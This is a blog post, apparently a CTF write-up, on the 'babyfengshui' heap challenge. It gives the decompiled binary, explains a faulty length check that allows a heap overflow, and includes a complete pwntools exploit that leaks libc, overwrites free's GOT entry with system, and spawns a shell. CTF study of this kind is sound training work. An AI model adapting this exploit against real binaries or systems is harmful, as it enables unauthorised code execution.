Zephyr's Repository Zephyr's Repository
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档

Zephyr

偷得浮生半日闲
首页
笔记
技术
更多
收藏
关于
  • 📂 分类
  • 🏷️ 标签
  • 📅 归档
  • Web

  • PWN

    • test your nc
    • rip
    • warmup csaw 2016
    • ciscn 2019 n 1
    • pwn1 sctf 2016
    • jarvisoj level0
    • ciscn 2019 c 1
    • 第五空间2019 决赛 PWN5
    • ciscn 2019 n 8
    • jarvisoj level2
    • OGeek2019 babyrop
    • get started 3dsctf 2016
    • bjdctf 2020 babystack
    • ciscn 2019 en 2
    • HarekazeCTF2019 baby rop
    • jarvisoj level2 x64
    • not the same 3dsctf 2016
    • ciscn 2019 n 5
    • others shellcode
    • ciscn 2019 ne 5
    • 铁人三项(第五赛区) 2018 rop
    • bjdctf 2020 babyrop
    • bjdctf 2020 babyrop2
    • jarvisoj fm
    • pwn2 sctf 2016
    • babyheap 0ctf 2017
    • HarekazeCTF2019_baby_rop2
    • ciscn 2019 es 2
    • ciscn 2019 s 3
    • jarvisoj tell me something
    • jarvisoj level3
    • ez pz hackover 2016
    • picoctf 2018 rop chain
    • Black Watch 入群题 PWN
    • jarvisoj level4
    • jarvisoj level3 x64
    • bjdctf 2020 babyrop2
    • ZJCTF 2019 EasyHeap
    • pwnable orw
    • wustctf2020 getshell
    • bjdctf 2020 router
    • hitcontraining uaf
    • picoctf 2018 buffer overflow 1
    • jarvisoj test your memory
    • mrctf2020 shellcode
    • inndy rop
    • picoctf 2018 buffer overflow 2
    • cmcc simplerop
    • xdctf2015 pwn200
    • bbys tu 2016
    • mrctf2020 easyoverflow
    • wustctf2020 getshell 2
    • ZJCTF 2019 Login
    • babyfengshui 33c3 2016
      • 前提
        • 查看文件保护
      • 静态分析
      • 思路分析
      • exp
    • jarvisoj level1
    • ciscn 2019 s 4
    • ciscn 2019 n 3
    • hitcontraining magicheap
    • axb 2019 fmt32
    • gyctf 2020 borrowstack
    • wustctf2020 closed
    • pwnable start
    • others babystack
    • 0ctf 2017 babyheap
    • hitcontraining heapcreator
    • roarctf 2019 easy pwn
  • 笔记
  • PWN
Zephyr
2022-04-13
目录

babyfengshui 33c3 2016

# babyfengshui 33c3 2016

# 前提

# 查看文件保护

[*] '/root/pwn/buuctf/babyfengshui_33c3_2016/babyfengshui_33c3_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
1
2
3
4
5
6

# 静态分析

主函数如下:

void __cdecl __noreturn main()
{
  char v0; // [esp+3h] [ebp-15h]
  int v1; // [esp+4h] [ebp-14h]
  size_t v2; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x14u);
  while ( 1 )
  {
    puts("0: Add a user");
    puts("1: Delete a user");
    puts("2: Display a user");
    puts("3: Update a user description");
    puts("4: Exit");
    printf("Action: ");
    if ( __isoc99_scanf("%d", &v1) == -1 )
      break;
    if ( !v1 )
    {
      printf("size of description: ");
      __isoc99_scanf("%u%c", &v2, &v0);
      Add(v2);
    }
    if ( v1 == 1 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      Delete(v2);
    }
    if ( v1 == 2 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      Display(v2);
    }
    if ( v1 == 3 )
    {
      printf("index: ");
      __isoc99_scanf("%d", &v2);
      Update(v2);
    }
    if ( v1 == 4 )
    {
      puts("Bye");
      exit(0);
    }
    if ( count > 0x31u )
    {
      puts("maximum capacity exceeded, bye");
      exit(0);
    }
  }
  exit(1);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

Add函数如下

_DWORD *__cdecl Add(size_t size)
{
  void *s; // ST24_4
  _DWORD *v2; // ST28_4

  s = malloc(size);
  memset(s, 0, size);
  v2 = malloc(0x80u);
  memset(v2, 0, 0x80u);
  *v2 = s;
  ptr[count] = v2;
  printf("name: ");
  get_name(ptr[count] + 4, 0x7C);
  Update(++count - 1);
  return v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

Update函数如下:

unsigned int __cdecl Update(unsigned __int8 index)
{
  char v2; // [esp+17h] [ebp-11h]
  int new_length; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( index < count && ptr[index] )
  {
    new_length = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &new_length, &v2);
    if ( (new_length + *ptr[index]) >= ptr[index] - 4 )
      // 因为*ptr[index]块比ptr[index]块后申请所以这里使用指针加长度来判断是否合法
      // 但这里存在问题
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    get_name(*ptr[index], new_length + 1);
  }
  return __readgsdword(0x14u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

Delete函数如下:

unsigned int __cdecl Delete(unsigned __int8 index)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( index < count && ptr[index] )
  {
    free(*ptr[index]);
    free(ptr[index]);
    ptr[index] = 0;
  }
  return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13

Display函数如下:

unsigned int __cdecl Display(unsigned __int8 index)
{
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword(0x14u);
  if ( index < count && ptr[index] )
  {
    printf("name: %s\n", ptr[index] + 4);
    printf("description: %s\n", *ptr[index]);
  }
  return __readgsdword(0x14u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12

get_name函数如下

unsigned int __cdecl get_name(char *a1, int a2)
{
  char *v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  fgets(a1, a2, stdin);
  v3 = strchr(a1, 10);
  if ( v3 )
    *v3 = 0;
  return __readgsdword(0x14u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12

# 思路分析

  1. 目前信息:

    • Update函数边界条件判断有误,存在堆溢出点
    • Partial RELRO
    • Canary found
    • NX enabled
    • No PIE
  2. 思路

    • 堆溢出修改后续堆块的指针等信息,泄漏libc和system,利用Update修改free的got表,获得shell

babyfengshui_33c3_2016.drawio

# exp

from pwn import *
from LibcSearcher import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/babyfengshui_33c3_2016/babyfengshui_33c3_2016'
io = remote('node4.buuoj.cn', 27501)
# io = process(pwnfile)

def Add(io, size, name, content):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", name)
    io.sendlineafter("length: ", str(len(content)))
    io.sendlineafter("text: ", content)

def Delete(io, index):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(index))

def Display(io, index):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(index))

def Update(io, index, content):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(index))
    io.sendlineafter("length: ", str(len(content)))
    io.sendlineafter("text: ", content)

Add(io, 0x78, 'heap0', 'aaaa')
Add(io, 0x78, 'heap1', 'bbbb')
Delete(io, 0)
elf = ELF(pwnfile)
free_got = elf.got['free']
Add(io, 0x100, 'overwrite', flat(['a'*0x104, 0x81, 'a'*0x7c, 0x89, free_got]))
# 1堆块的原text堆指针被覆盖为free的got表地址
Display(io, 1)
io.recvuntil("description: ")
leak_free_addr = u32(io.recv(4))
log.success("free_addr:"+hex(leak_free_addr))
# Display函数中printf的%s泄漏free的真实地址
Add(io, 0x10, 'payload', '/bin/sh\x00')
libc = LibcSearcher('free', leak_free_addr)
libc_base = leak_free_addr-libc.dump('free')
system = libc_base+libc.dump('system')
Update(io, 1, flat(system))
# Update将free的got修改为system地址
Delete(io, 3)
# free掉/bin/sh获得shell
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#buuctf#pwn#heap
上次更新: 2022/08/15, 00:29:49
ZJCTF 2019 Login
jarvisoj level1

← ZJCTF 2019 Login jarvisoj level1→

最近更新
01
0CTF 2016 piapiapia
07-23
02
CISCN 2019 初赛 Love
07-22
03
PHP反序列化
07-21
更多文章>
Theme by Vdoing | Copyright © 2021-2022 Zephyr | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
×